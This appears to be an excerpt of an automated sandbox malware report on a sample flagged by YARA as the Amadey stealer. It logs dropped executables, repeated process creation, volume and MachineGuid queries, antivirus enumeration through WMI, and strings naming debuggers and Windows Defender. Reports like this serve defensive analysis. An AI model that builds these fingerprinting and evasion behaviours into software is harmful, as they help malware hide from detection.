Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown

Source: 7349a3c308.exe, 0000000C.00000002.2755119787.00000000006EF000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: Program Manager
Source: skotes.exe, skotes.exe, 00000005.00000002.2957064797.0000000000B33000.00000040.00000001.01000000.00000008.sdmp	Binary or memory string: cProgram Manager
Source: 63ebe314bb.exe, 0000000D.00000002.2657407198.000000000051D000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: PSProgram Manager

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 5_2_0091DD91 cpuid

5_2_0091DD91

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018347001\63ebe314bb.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018347001\63ebe314bb.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018350001\26539a5c18.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018350001\26539a5c18.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018351001\e90a98cf1a.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018351001\e90a98cf1a.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00A5CBEA GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

0_2_00A5CBEA

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 5_2_009065E0 LookupAccountNameA,

5_2_009065E0

Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: svchost.exe, 0000000E.00000002.2645248522.0000000002D00000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OllyDbg.exe
Source: 44098beb09.exe, 0000000A.00000002.2638678032.000000000396D000.00000004.00000800.00020000.00000000.sdmp, 7349a3c308.exe, 0000000C.00000003.2687078459.0000000000EB9000.00000004.00000020.00020000.00000000.sdmp, 7349a3c308.exe, 0000000C.00000003.2687078459.0000000000EE0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 0.2.file.exe.a40000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.skotes.exe.900000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.skotes.exe.900000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.1688419079.00000000052C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1729047978.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1752706056.0000000000901000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1712503355.00000000051A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
